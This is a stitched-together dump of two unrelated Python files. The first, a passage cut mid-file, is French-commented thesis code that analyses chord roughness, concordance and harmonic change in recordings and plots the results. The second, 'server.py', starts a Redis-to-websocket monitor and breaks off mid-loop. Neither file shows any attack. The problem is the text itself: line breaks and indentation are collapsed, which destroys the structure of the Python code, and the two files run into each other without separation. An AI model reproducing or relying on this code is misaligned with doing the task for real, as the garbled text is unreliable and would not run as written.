Fonction qui renvoie True si deux listes ont une intersection commune def intersect(lst1, lst2): inter = False i = 0 while (not inter) & (i<len(lst1)): if (lst1[i] in lst2): inter = True i += 1 return inter # Détermination de la présence simultanée de descripteurs statiques et dynamiques dans space, et le cas échéant attribution du suffixe 'evolution' aux descr stat suff0, suff1 = '','' if intersect(space,spaceStat) & intersect(space,spaceDyn): if descr[0] in spaceStat: suff0 = ' evolution' if descr[1] in spaceStat: suff1 = ' evolution' plt.figure(figsize=(8.7, 7.7)) ax = plt.subplot() if type_Temporal =='static': if len(liste_Points) > 0: for k,points in enumerate(liste_Points): for timbre, instrument in enumerate(liste_timbres_or_scores): if timbre == 0: ls = '--' else: ls = ':' if params.visualize_trajectories: if params.one_track and params.compare_contexts: if instrument[1]>=2: label = '\n' + 'Memory: {} chords, decr = {}'.format(instrument[1], instrument[2]) else: label = '\n' + 'Memory: {} chord, decr = {}'.format(instrument[1], instrument[2]) else: label = instrument plt.plot(points[timbre,dim1,:].tolist(), points[timbre,dim2,:].tolist(), color ='C{}'.format(k),ls = ls, marker = 'o', label = instrument) if params.visualize_time_grouping: for t in range(len(points[timbre,dim1,:])): plt.plot(points[timbre,dim1,:].tolist()[t], points[timbre,dim2,:].tolist()[t], color ='C{}'.format(t),ls = ls, marker = 'o') for t in range(len(points[timbre,dim1,:].tolist())): ax.annotate(' {}'.format(t+1), (points[timbre,dim1,:][t], points[timbre,dim2,:][t]), color='black') else: for instrument in liste_timbres_or_scores: if dic[instrument] <= 10: ls = '--' else: ls = ':' if params.visualize_trajectories: if params.one_track and params.compare_contexts: if instrument[1]>=2: label = '\n' + 'Memory: {} chords, decr = {}'.format(instrument[1], instrument[2]) else: label = '\n' + 'Memory: {} chord, decr = {}'.format(instrument[1], instrument[2]) else: label = instrument plt.plot(Points[(dic[instrument]-1),dim1,:].tolist(), Points[(dic[instrument]-1),dim2,:].tolist(), color ='C{}'.format(dic[instrument]-1),ls = ls, marker = 'o', label = instrument) if params.visualize_time_grouping: for t in range(len(Points[(dic[instrument]-1),dim1,:])): plt.plot(Points[(dic[instrument]-1),dim1,:].tolist()[t], Points[(dic[instrument]-1),dim2,:].tolist()[t], color ='C{}'.format(t),ls = ls, marker = 'o') for t in range(len(Points[(dic[instrument]-1),dim1,:].tolist())): if len(liste_annot)==0: ax.annotate(' {}'.format(t+1), (Points[(dic[instrument]-1),dim1,:][t], Points[(dic[instrument]-1),dim2,:][t]), color='black') else: ax.annotate(' {}'.format(liste_annot[t]), (Points[(dic[instrument]-1),dim1,:][t], Points[(dic[instrument]-1),dim2,:][t]), color='black') if not all(x>=0 for x in Points[:,dim1,:].flatten()): plt.vlines(0,np.amin(Points[:,dim2,:]), np.amax(Points[:,dim2,:]), alpha=0.5, linestyle = ':') if not all(x>=0 for x in Points[:,dim2,:].flatten()): plt.hlines(0,np.amin(Points[:,dim1,:]), np.amax(Points[:,dim1,:]), alpha=0.5, linestyle = ':') #Legend context0, context1 = '','' norm0, norm1 = '','' if params.plot_norm and (descr[0] in params.dic_norm ): norm0 = ', ' + params.dic_norm[descr[0]] if params.plot_norm and (descr[1] in params.dic_norm ): norm1 = ', ' + params.dic_norm[descr[1]] if not params.compare_contexts: if descr[0] in liste_descrContext: if params.memory_size>=2: context0 = ', '+'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context0 = ', '+'Memory: {} chord, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) if descr[1] in liste_descrContext: if params.memory_size>=2: context1 = ', '+'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context1 = ', '+'Memory: {} chord, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) plt.xlabel(descr[0][0].upper() + descr[0][1:] + suff0 + norm0)# + context0) plt.ylabel(descr[1][0].upper() + descr[1][1:] + suff1 + norm1)# + context1) # plt.xlabel('Concordance différentielle, Normalisée') # plt.ylabel('Rugosité différentielle, Non normalisée') # if params.one_track and not params.compare_contexts: # plt.title(title + ' (' + descr[0][0].upper() + descr[0][1:] + suff0 + ', ' + descr[1][0].upper() + descr[1][1:] + suff1 + ')\n' + type_Temporal[0].upper() + type_Temporal[1:] + ' Representation') # else: # # if params.compare_instruments: goal = 'Timbre comparaison' # # elif params.compare_scores: goal = 'Score comparaison' # # elif params.one_track and params.compare_contexts: goal = 'Context comparaison' # # elif params.compare: goal = 'Catalogue d\'accords' # # if type_Normalisation == 'by curve': # # plt.title(goal + '\n' + title + ' (' + descr[0][0].upper() + descr[0][1:] + suff0 + ', ' + descr[1][0].upper() + descr[1][1:] + suff1 + ')\n' + 'Normalisation curve by curve')# + '\n' + type_Temporal[0].upper() + type_Temporal[1:] + ' Representation') # # else: # # plt.title(goal + '\n' + title + ' (' + descr[0][0].upper() + descr[0][1:] + suff0 + ', ' + descr[1][0].upper() + descr[1][1:] + suff1 + ')\n' + 'Normalisation on all the curves ')# + '\n' + type_Temporal[0].upper() + type_Temporal[1:] + ' Representation') # elif type_Temporal =='differential': # Construction de la matrice Points_diff Points_diff = np.zeros((Points.shape[0],Points.shape[1],Points.shape[2]-1)) for i in range(Points.shape[2]-1): Points_diff[:,:,i] = Points[:,:,i+1]-Points[:,:,i] for instrument in liste_timbres_or_scores: if dic[instrument] <= 10: ls = '--' else: ls = ':' if params.visualize_trajectories: if params.one_track and params.compare_contexts: if instrument[1]>=2: label = '\n' + 'Memory: {} chords, decr = {}'.format(instrument[1], instrument[2]) else: label = '\n' + 'Memory: {} chord, decr = {}'.format(instrument[1], instrument[2]) else: label = instrument plt.plot(Points_diff[(dic[instrument]-1),dim1,:].tolist(), Points_diff[(dic[instrument]-1),dim2,:].tolist(), color ='C{}'.format(dic[instrument]-1),ls = ls, marker = 'o', label = instrument) if params.visualize_time_grouping: for t in range(len(Points_diff[(dic[instrument]-1),dim1,:])): plt.plot(Points_diff[(dic[instrument]-1),dim1,:].tolist()[t], Points_diff[(dic[instrument]-1),dim2,:].tolist()[t], color ='C{}'.format(t),ls = ls, marker = 'o') for t in range(len(Points_diff[(dic[instrument]-1),dim1,:].tolist())): ax.annotate(' {}'.format(t+1), (Points_diff[(dic[instrument]-1),dim1,:][t], Points_diff[(dic[instrument]-1),dim2,:][t]), color='black') if not all(x>=0 for x in Points_diff[:,dim1,:].flatten()): plt.vlines(0,np.amin(Points_diff[:,dim2,:]), np.amax(Points_diff[:,dim2,:]), alpha=0.5, linestyle = ':') if not all(x>=0 for x in Points_diff[:,dim2,:].flatten()): plt.hlines(0,np.amin(Points_diff[:,dim1,:]), np.amax(Points_diff[:,dim1,:]), alpha=0.5, linestyle = ':') context0, context1 = '','' norm0, norm1 = '','' if params.plot_norm and (descr[0] in params.dic_norm ): norm0 = ', ' + params.dic_norm[descr[0]] if params.plot_norm and (descr[1] in params.dic_norm ): norm1 = ', ' + params.dic_norm[descr[1]] if not params.compare_contexts: if descr[0] in liste_descrContext: if params.memory_size>=2: context0 = ', '+'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context0 = ', '+'Memory: {} chord, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) if descr[1] in liste_descrContext: if params.memory_size>=2: context1 = ', '+'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context1 = ', '+'Memory: {} chord, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) plt.xlabel(descr[0][0].upper() + descr[0][1:] + suff0 + norm0 + context0) plt.ylabel(descr[1][0].upper() + descr[1][1:] + suff1 + norm1 + context1) if params.one_track and not params.compare_contexts: plt.title(title + ' (' + descr[0][0].upper() + descr[0][1:] + suff0 + ', ' + descr[1][0].upper() + descr[1][1:] + suff1 + ')\n' + type_Temporal[0].upper() + type_Temporal[1:] + ' Representation') else: if params.compare_instruments: goal = 'Timbre comparaison' elif params.compare_scores: goal = 'Score comparaison' elif params.one_track and params.compare_contexts: goal = 'Context comparaison' if type_Normalisation == 'by curve': plt.title(goal + '\n' + title + ' (' + descr[0][0].upper() + descr[0][1:] + suff0 + ', ' + descr[1][0].upper() + descr[1][1:] + suff1 + ')\n' + 'Normalisation curve by curve' + '\n' + type_Temporal[0].upper() + type_Temporal[1:] + ' Representation') else: plt.title(goal + '\n' + title + ' (' + descr[0][0].upper() + descr[0][1:] + suff0 + ', ' + descr[1][0].upper() + descr[1][1:] + suff1 + ')\n' + 'Normalisation on all the curves ' + '\n' + type_Temporal[0].upper() + type_Temporal[1:] + ' Representation') # plt.legend(frameon=True, framealpha=0.75) # handles, labels = ax.get_legend_handles_labels() # plt.title('Almeido Prado - Cartas Celestas I' + '\nCatalogue d\'accords' + '\n(' + descr[0][0].upper() + descr[0][1:] + ', ' + descr[1][0].upper() + descr[1][1:] + ')') plt.title('Almeido Prado - Cartas Celestas I' + '\nScorpio' + '\n(' + descr[0][0].upper() + descr[0][1:] + ', ' + descr[1][0].upper() + descr[1][1:] + ')') ax.legend(title = leg_hpss, loc='best',frameon=True, framealpha=0.75) plt.show() elif type == 'temporal': # Construction de onset_times régulièrement espacé # if onset_times is None: # onset_times = [0.] # for t in range(Points.shape[2]): # onset_times.append(1.+ t*2) # onset_times.append(onset_times[-1] + 2) # onset_times.append(onset_times[-1] + 1) # n_frames = len(onset_times)-1 n_frames = len(onset_times_graph)-1 if simultaneity: m = len(descr) sc = 0 plt.figure(2,figsize=(9, 7.5)) # Plot Score if score: sc = 1 img=mpimg.imread(score) score = plt.subplot(m+sc,1,1) plt.axis('off') score.imshow(img) # plt.title(title) for i, des in enumerate(descr): dim = space.index(des) ax = plt.subplot(m+sc,1,sc+1+i) ax.get_xaxis().set_visible(False) plt.xlim(onset_times_graph[0],onset_times_graph[-1]) norm = '' if params.plot_norm and (des in params.dic_norm ): norm = ', ' + params.dic_norm[des] # ax.set_title(des[0].upper() + des[1:] + norm) if erase: Max = 0 for j, track in enumerate(liste_timbres_or_scores): maxdescr = np.nanmax(Erase(Points[j,dim].tolist(), [e-1 for e in erase])) if maxdescr>Max: Max = maxdescr Points[:,dim] /= Max plt.vlines(onset_times_graph[1:n_frames], 0.0, 1.0, color='k', alpha=0.9, linestyle='--') for j, track in enumerate(liste_timbres_or_scores): j = 1-j # Legend context = '' if des in liste_descrContext: if params.compare_contexts: if track[1]>=2: context = '\n' + 'Memory: {} chords, decr = {}'.format(track[1], track[2]) else: context = '\n' + 'Memory: {} chord, decr = {}'.format(track[1], track[2]) else: if params.memory_size>=2: context = '\n' + 'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context = '\n' + 'Memory: {} chord, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) if params.compare_contexts: track_print = '' else: track_print = track# + '\n' # Descripteurs statiques if len(Points[j,dim]) == n_frames-2: #Remplacement des None par les valeurs précédentes for t in range(n_frames-2): if np.isnan(Points[j,dim,t]): Points[j,dim,t] = Points[j,dim,t-1] # plt.hlines(Points[j,dim].tolist(),onset_times_graph[1:(n_frames-1)], onset_times_graph[2:n_frames], color=['r','b','g','c','m','y','b','r','g'][j], label=track_print + context) plt.hlines(Erase(Points[j,dim].tolist(), [e-1 for e in erase]), Erase(onset_times_graph[1:(n_frames-1)], [e-1 for e in erase]), Erase(onset_times_graph[2:n_frames], [e-1 for e in erase]), color=['r','b','g','c','m','y','b','r','g'][j], label=track_print + context) # Descripteurs dynamiques elif len(Points[j,dim]) == n_frames-3: # plt.plot(Erase(onset_times_graph[2:(n_frames-1)], [e-1 for e in erase]), Erase(Points[j,dim].tolist(),[e-1 for e in erase]),['r','b','g','c','m','y','b','r','g'][j]+'o', label= track_print)# + context) # plt.hlines(Erase(Points[j,dim].tolist(), [e-1 for e in erase]), [t-0.50 for t in Erase(onset_times_graph[2:(n_frames-1)], [e-1 for e in erase])], [t+0.50 for t in Erase(onset_times_graph[2:(n_frames-1)], [e-1 for e in erase])], color=['b','r','g','c','m','y','b','r','g'][j], alpha=0.9, linestyle=':' ) plt.plot(onset_times_graph[2:(n_frames-1)], Points[j,dim].tolist(),['r','b','g','c','m','y','b','r','g'][j]+'o', label= track_print)# + context) plt.hlines(Points[j,dim].tolist(), [t-0.50*(j==1)-0.75*(j==0) for t in onset_times_graph[2:(n_frames-1)]], [t+0.50*(j==1)+0.75*(j==0) for t in onset_times_graph[2:(n_frames-1)]], color=['r','b','g','c','m','y','b','r','g'][j], alpha=0.9, linestyle=':' ) handles, labels = ax.get_legend_handles_labels() if i == 0: ax.legend(handles, ('Smith','Bruun','Yanchenko'), title = des[0].upper() + des[1:] + norm, loc='upper right',frameon=True, framealpha=0.75) # if i == 0: ax.legend(reversed(handles), ('Theme 1','Retrograde'), title = 'Harmonisation', loc='upper right',frameon=True, framealpha=0.75) else: ax.legend([], (), title = des[0].upper() + des[1:] + norm, loc='upper right',frameon=True, framealpha=0.75) # plt.legend(frameon=True, framealpha=0.75) else: m = len(liste_timbres_or_scores) * len(descr) sc = 0 plt.figure(3,figsize=(13, 7)) # Plot Score if score: sc = 1 img=mpimg.imread(score) score = plt.subplot(m+sc,1,1) plt.axis('off') score.imshow(img) plt.title(title) for i, des in enumerate(descr): dim = space.index(des) for j, track in enumerate(liste_timbres_or_scores): if i+j == 0: ax1 = plt.subplot(m+sc,1,sc+1) else: plt.subplot(m+sc,1,i*len(liste_timbres_or_scores)+j+1+sc) plt.vlines(onset_times_graph[1:n_frames], 0.0, max(Points[j,dim]), color='k', alpha=0.9, linestyle='--') # Legend context = '' norm = '' if params.plot_norm and (des in params.dic_norm ): norm = '\n' + params.dic_norm[des] if des in liste_descrContext: if params.compare_contexts: if track[1]>=2: context = '\n' + 'Memory: {} chords, decr = {}'.format(track[1], track[2]) else: context = '\n' + 'Memory: {} chord, decr = {}'.format(track[1], track[2]) else: if params.memory_size>=2: context = '\n' + 'Memory: {} chords, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) else: context = '\n' + 'Memory: {} chord, decr = {}'.format(params.memory_size, params.memory_decr_ponderation) if params.compare_contexts: track_print = '' else: track_print = track + '\n' # Descripteurs statiques if len(Points[j,dim]) == n_frames-2: plt.hlines(Points[j,dim].tolist(), onset_times_graph[1:(n_frames-1)], onset_times_graph[2:n_frames], color=['b','r','g','c','m','y','b','r','g'][i], label=track_print + des[0].upper() + des[1:] + norm + context) # Descripteurs dynamiques elif len(Points[j,dim]) == n_frames-3: plt.plot(onset_times_graph[2:(n_frames-1)], Points[j,dim],['b','r','g','c','m','y','b','r','g'][i]+'o', label=(track_print + des[0].upper() + des[1:]) + norm + context) plt.hlines(Points[j,dim], [t-0.25 for t in onset_times_graph[2:(n_frames-1)]], [t+0.25 for t in onset_times_graph[2:(n_frames-1)]], color=['b','r','g','c','m','y','b','r','g'][i], alpha=0.9, linestyle=':' ) plt.legend(frameon=True, framealpha=0.75) plt.xlim(onset_times_graph[0],onset_times_graph[-1]) plt.tight_layout() plt.show() spaceStat_NoCtx = ['roughness', 'harmonicity', 'concordance', 'concordanceTot', 'concordance3'] spaceStat_Ctx = ['harmonicityContext', 'roughnessContext'] spaceStat = spaceStat_NoCtx + spaceStat_Ctx spaceDyn_NoCtx = ['harmonicChange', 'diffConcordance', 'crossConcordance', 'crossConcordanceTot'] spaceDyn_Ctx = ['harmonicNovelty','diffConcordanceContext', 'diffRoughnessContext'] spaceDyn = spaceDyn_NoCtx + spaceDyn_Ctx if params.one_track: # CHARGEMENT DES SONS ET DE LA PARTITIONs title = 'Prado' subTitle = 'Catalogue' instrument = 'Piano' if subTitle in params.dic_duration: duration = params.dic_duration[subTitle] # en secondes else : duration = 100.0 # en secondes # DISTRIBUTION if title in params.dic_distribution: distribution = params.dic_distribution[title] else :distribution = params.distribution y, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+subTitle+'.wav', duration = duration, sr=None) if distribution == 'voix': y1, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+subTitle+'-Soprano.wav', duration = duration, sr = None) y2, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+subTitle+'-Alto.wav', duration = duration, sr = None) y3, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+subTitle+'-Tenor.wav', duration = duration, sr = None) y4, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+subTitle+'-Bass.wav', duration = duration, sr = None) y5, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+subTitle+'-Baryton.wav', duration = duration, sr = None) elif distribution == 'themeAcc': y1, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-theme.wav', duration = duration, sr = None) y2, sr = librosa.load('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/Fichiers son/'+title+'-acc.wav', duration = duration, sr = None) if subTitle in params.dic_noteMin: Notemin = params.dic_noteMin[subTitle] else: Notemin = 'G3' # Notemax = 'C10' Notemax = 'B9' score = '/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/'+subTitle+'-score.png' # if os.path.exists('/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/'+title+'-score.png'): # score = '/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/'+subTitle+'-score.png' # else: score = [] # DETECTION D'ONSETS delOnsets = [] addOnsets = [] # Chargement de onset_frames def OpenFrames(title): #1 - Avec Sonic Visualiser if os.path.exists('Onset_given_'+title+'.txt'): onsets = [] with open('Onset_given_'+title+'.txt','r') as f: for line in f: l = line.split() onsets.append(float(l[0])) onset_times = np.asarray(onsets) onset_frames = librosa.time_to_frames(onset_times, sr=sr, hop_length = STEP) #2 - À partir de la partition en musicxml elif os.path.exists('Onset_given_'+title+'_score'): with open('Onset_given_'+title+'_score', 'rb') as f: onsets = pickle.load(f) onset_times = np.asarray(onsets) onset_frames = librosa.time_to_frames(onset_times, sr=sr, hop_length = STEP) #3 - Avec ma méthode de calcul automatique elif os.path.exists('Onset_given_'+title): with open('Onset_given_'+title, 'rb') as f: onset_frames = pickle.load(f) #4 - Pas d'onsets préchargés else: onset_frames = [] # for i,time in enumerate(onset_frames) return onset_frames onset_frames = OpenFrames(subTitle + '_Noattack') # onset_frames = OpenFrames(subTitle) # CRÉATION DE L'INSTANCE DE CLASSE if distribution == 'record': S = SignalSepare(y, sr, [], Notemin, Notemax,onset_frames, delOnsets, addOnsets, score, instrument) elif distribution == 'voix': S = SignalSepare(y, sr, [y1,y2,y3,y4,y5], Notemin, Notemax,onset_frames, delOnsets, addOnsets, score, instrument) elif distribution == 'themeAcc': S = SignalSepare(y, sr, [y1,y2], Notemin, Notemax,onset_frames, delOnsets, addOnsets, score, instrument) S.DetectionOnsets() # with open('Onset_given_Cadence_M', 'wb') as g: # pickle.dump(S.onset_frames, g) S.Clustering() if not params.Matrix and not params.compare_contexts: # space = ['energy', 'roughness','tension']#['energy','tension','roughness','harmonicity']#['energy','concordance','concordance3','concordanceTot']# space = [] #'energy','harmonicity', 'roughness', 'concordance' S.Context() if params.simpl: S.SimplifySpectrum() S.ComputeDescripteurs(space = space) for descr in space: liste = [] l = len(S.roughness) for i in range(1,int(l/2)): liste.append(2*i) liste.sort(reverse=True) for elt in liste: getattr(S,descr)[elt] = 0 # print(S.activation[:,1:-1]) S.Affichage(space = space, end = duration) if params.test_stability: def stability(power): descr = np.divide(getattr(S, space[1])[1:-1], np.power(S.energy[1:-1], power)) return np.std(descr)/np.mean(descr) res = minimize(stability, 1, method='nelder-mead', options={'xatol': 1e-8, 'disp': False}) print('\n {}, {}\n Avec normalisation théorique : δ = {}\n Avec normalisation optimale (α = {}) : δ = {}\n Rapport theor/opt = {}\n'.format(title, space[1], round(stability(params.dic_test_norm[space[1]]), 3), round(res.x[0], 3),round(stability(res.x[0]),3), round(stability(params.dic_test_norm[space[1]])/stability(res.x[0]), 3))) elif params.compare_contexts: list_context = [('mean', 1, 1),('mean',2,1),('mean',3,1)] dic_context = {list_context[i]:i+1 for i in range(len(list_context))} dic_context[('mean', 0, 1)] = 0 space = ['diffConcordanceContext'] # Construction Matrice Points Points = [] for ctx in list_context: S.Context(type = ctx[0], size = ctx[1]-1, decr = ctx[2]) S.ComputeDescripteurs(space = space) Points.append(S.Points(space)) Points = np.asarray(Points) print(Points.shape) # Points = Normalise(Points, list_context, dic_context) spacePlot = space Visualize(Points, spacePlot, space, list_context, dic_context, type='temporal', simultaneity = True, score = S.score, onset_times = S.onset_times,onset_times_graph = [0,2.5,5,6,6.6,7.3,7.9,9.2,10.8,12.1,12.8,13.5,14.1,14.9,15.5,16.6,17.6,19.3,20]) elif params.Matrix: liste = [''] dic = {liste[i]:i+1 for i in range(len(liste))} space = spaceDyn_NoCtx # Construction_Points(liste, title, space, Notemin, Notemax, dic, filename = 'Points_Beethoven31s_Dyn.npy', name_OpenFrames = 'Beethoven_31s', duration = duration) Points = np.load('Points_Beethoven31s_Dyn.npy') Points = Normalise(Points, liste, dic) spacePlot = ['diffConcordance', 'harmonicChange'] Visualize(Points, spacePlot, space, liste, dic) # Nmin = int(S.sr/(S.fmax*(2**(1/BINS_PER_OCTAVE)-1))) # Nmax = int((S.sr/(S.fmin*(2**(1/BINS_PER_OCTAVE)-1)))) # print(Nmin/S.sr, Nmax/S.sr) if params.compare: title = 'Prado' # space = ['concordance','concordance3','concordanceTot','roughness','harmonicity'] # space = ['roughness','harmonicity','tension'] space = ['diffConcordance','diffRoughness','harmonicChange'] # liste_subtitles = ['Scorpio1','Scorpio2','Scorpio3','Scorpio4'] liste_subtitles = ['ScorpioSep','ScorpioSepPed','Scorpio1','Scorpio2','Scorpio3','Scorpio4'] # liste_subtitles = ['ScorpioSepPed'] subtitle = liste_subtitles[0] dic_subtitles = {liste_subtitles[i]:i+1 for i in range(len(liste_subtitles))} duration = params.dic_duration[subtitle] # en secondes Notemin = params.dic_noteMin[title] Notemax = 'D9' # Points = Normalise(Points, liste_subtitles, dic_subtitles) # spacePlot = ['diffConcordance','diffRoughness'] # Visualize(Points, spacePlot, space, ['Scorpio1','Scorpio2','Scorpio3','Scorpio4'], dic_subtitles)#, liste_annot=params.dic_annot[subtitle]) # Construction_Points(liste_subtitles, title, space, Notemin, Notemax, dic_subtitles, filename = 'Points_' + subtitle + '_Stat_noHpss.npy', name_OpenFrames = 'ScorpioSep5s', duration = duration) # liste_del = [] # for i in range(int(Points.shape[2]/2)): # liste_del.append(2*(i)+1) # Points = np.delete(Points, liste_del,2) # print(Points.shape) # hpss = 'hpss10' # Points1 = np.load('Points_ScorpioSep_'+ hpss +'.npy') # Points2 = np.load('Points_ScorpioSepPed_'+ hpss +'.npy') # Points3 = np.load('Points_Scorpio_Dyn_'+ hpss +'.npy') # Points = np.concatenate([Points1,Points2,Points3]) # np.save('Points_ScorpioTot_Dyn_'+ hpss +'.npy', Points) hpss = 'noHpss' spacePlot = ['diffConcordance','harmonicChange'] liste_subtitles = ['Scorpio2','Scorpio3']#,'Scorpio2','Scorpio3','Scorpio4'] Points = np.load('Points_ScorpioTot_Dyn_'+ hpss +'.npy') Points = Normalise(Points, liste_subtitles, dic_subtitles) # Visualize(Points, spacePlot, space, liste_subtitles, dic_subtitles, liste_annot=params.dic_annot[subtitle], leg_hpss = hpss) Visualize(Points, spacePlot, space, liste_subtitles, dic_subtitles, leg_hpss = hpss)#, liste_annot=params.dic_annot[subtitle]) # Construction_Points(liste_subtitles, title, space, Notemin, Notemax, dic_subtitles,filename = 'Points_Scorpio_Stat_noHpss.npy', share_onsets = False) # Points = np.load('Points_Scorpio_Dyn_noHpss.npy') # Points = Normalise(Points, liste_subtitles, dic_subtitles) # spacePlot = ['diffConcordance','diffRoughness'] # Visualize(Points, spacePlot, space, ['Scorpio2','Scorpio4'], dic_subtitles)#, liste_annot=params.dic_annot[subtitle]) # score = '/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/'+title+'-score-new.png' # onset_times = np.load('Onset_times_Points_' + title + '.npy') # Visualize(Points, spacePlot, space, liste_subtitles, dic_subtitles, type = 'temporal', simultaneity = True, score = score, onset_times_graph = params.dic_xcoords[title], erase = [8,16]) if params.compare_instruments: liste_timbres = ['Bourdon8', 'Cheminée8', 'Flûte4', 'Flûte2', 'Octave2','Brd + Chm', 'Brd + Fl4', 'Chm + Fl2', 'Chm + Fl4', 'Fl4 + Fl2','Tutti'] dic_timbres = {liste_timbres[i]:i+1 for i in range(len(liste_timbres))} space = spaceStat_NoCtx title = 'Cadence_M5' duration = 9.0 score = '/Users/manuel/Dropbox (TMG)/Thèse/TimbreComparaison/'+ 'CadenceM2' +'-score.png' Notemin = 'C3' Notemax = 'E9' # Construction_Points(liste_timbres, title, space, Notemin, Notemax, dic_timbres,filename = 'Points_Timbres_Dyn.npy', name_OpenFrames = 'Cadence_M', duration = duration) Points = np.load('Points_Timbres_CadM_Stat.npy') liste_timbres = ['Brd + Fl4'] Points = Normalise(Points, liste_timbres, dic_timbres) Disp, Disp_by_descr,Disp_by_time = Dispersion(Points) Inertie_tot, Inertie_inter = Inerties(Points) descr_sorted, disp_sorted = MinimizeDispersion(Disp_by_descr, space) descrs_max_sep = MaximizeSeparation(Inertie_tot, Inertie_inter, space) spacePlot = ['harmonicity', 'concordance'] # spacePlot = descr_sorted[0:2] # spacePlot = descrs_max_sep Clustered(Points, spacePlot, space) Visualize(Points, spacePlot, space, liste_timbres, dic_timbres)#, liste_timbres_or_scores = ['Bourdon8', 'Cheminée8','Brd + Chm','Tutti']) # Visualize(Points, spacePlot, space, liste_timbres[:2], dic_timbres, type = 'temporal',score = score) if params.compare_scores: # title = 'Cadence_M' title = 'Cadence_M' duration = 9.0 liste_scores = ['Cadence 1', 'Cadence 2','Cadence 3', 'Cadence 4', 'Cadence 5', 'Cadence 6', 'Cadence 7', 'Cadence 8', 'Cadence 9' ] # liste_scores = ['Cadence 3', 'Cadence 4','Cadence 5'] dic_scores = {liste_scores[i]:i+1 for i in range(len(liste_scores))} space = spaceStat_NoCtx Notemin = 'C2' Notemax = 'E9' # Construction_Points(liste_scores, title, space, Notemin, Notemax, dic_scores, filename = 'Points_Dispo_Cad_Norm_Stat.npy', name_OpenFrames = 'Cadence_M', duration = duration) Points = np.load('Points_Dispo_Cad_Stat.npy') # liste_scores = ['Cadence 3','Cadence 4','Cadence 5'] Points = Normalise(Points, liste_scores, dic_scores) Disp, Disp_by_descr,Disp_by_time = Dispersion(Points) Inertie_tot, Inertie_inter = Inerties(Points) descr_sorted, disp_sorted = MinimizeDispersion(Disp_by_descr, space) descrs_max_sep = MaximizeSeparation(Inertie_tot, Inertie_inter, space) spacePlot = ['harmonicity', 'concordanceTot'] # spacePlot = descr_sorted[0:2] # spacePlot = descrs_max_sep Clustered(Points, spacePlot, space) Visualize(Points, spacePlot, space, liste_scores, dic_scores) # S.Sort(space = space) # # with open('nouv4', 'wb') as g: # pickle.dump(S.harmonicNovelty, g) # # Nmin = int(S.sr/(S.fmax*(2**(1/BINS_PER_OCTAVE)-1))) # Nmax = int((S.sr/(S.fmin*(2**(1/BINS_PER_OCTAVE)-1))))
server.py
#!/usr/bin/env python """ server.py Author: Toki Migimatsu Created: April 2017 """ from __future__ import print_function, division import threading from multiprocessing import Process from argparse import ArgumentParser import redis import json import time import sys import math import os import shutil from WebSocketServer import WebSocketServer from HTTPRequestHandler import makeHTTPRequestHandler if sys.version.startswith("3"): from http.server import HTTPServer else: from BaseHTTPServer import HTTPServer class RedisMonitor: """ Monitor Redis keys and send updates to all web socket clients. """ def __init__(self, host="localhost", port=6379, db=0, refresh_rate=0.5, realtime=False): """ If realtime is specified, RedisMonitor will enable notifications for all set events and subscribe to these notifications. """ self.host = host self.port = port self.db = db self.refresh_rate = refresh_rate self.realtime = realtime self.redis_db = redis.Redis(host=self.host, port=self.port, db=self.db, decode_responses=True) self.message_last = {} if self.realtime: self.pubsub = self.redis_db.pubsub() self.lock = threading.Lock() self.message_buffer = [] # Need to perform the following command to enable keyevent notifications: # config set notify-keyspace-events "$E" notify_keyspace_events = self.redis_db.config_get("notify-keyspace-events")["notify-keyspace-events"] if "$" not in notify_keyspace_events and "A" not in notify_keyspace_events: # Add string commands to notifications notify_keyspace_events += "$" if "E" not in notify_keyspace_events: # Add keyevent events to notifications notify_keyspace_events += "E" self.redis_db.config_set("notify-keyspace-events", notify_keyspace_events) self.pubsub.psubscribe("__keyevent@%s__:set" % self.db) def messenger(self, ws_server): """ When realtime is set, this thread sends messages to all web socket clients every refresh_rate seconds. """ while True: time.sleep(self.refresh_rate) self.lock.acquire() if not self.message_buffer: self.lock.release() continue keyvals = self.message_buffer self.message_buffer = [] self.lock.release() ws_server.lock.acquire() for client in ws_server.clients: client.send(ws_server.encode_message(keyvals)) ws_server.lock.release() def parse_val(self, key, skip_unchanged=True): """ Get the value from Redis and parse if it's an array. If skip_unchanged = True, only returns values updated since the last call. """ def isnumeric(s): """ Helper function to test if string is a number """ try: float(s) return True except ValueError: return False val = self.redis_db.get(key) # Skip if the value hasn't changed if skip_unchanged: if key in self.message_last and val == self.message_last[key]: return None self.message_last[key] = val try: # If the first element is a number, try converting all the elements to numbers if isnumeric(val.split(" ")[0]): # Parse matrix rows val = [[float(el) for el in row.split(" ") if el.strip()] for row in val.split(";")] val = [["NaN" if math.isnan(el) else el for el in row] for row in val] except: # Otherwise, leave it as a string pass return val def run_forever(self, ws_server): """ Listen for redis keys (either realtime or every refresh_rate seconds) and send updated values to all web socket clients every refresh_rate seconds. """ if not self.realtime: # Send messages to clients every refresh_rate seconds while True: time.sleep(self.refresh_rate) keyvals = [] for key in self.redis_db.scan_iter(): 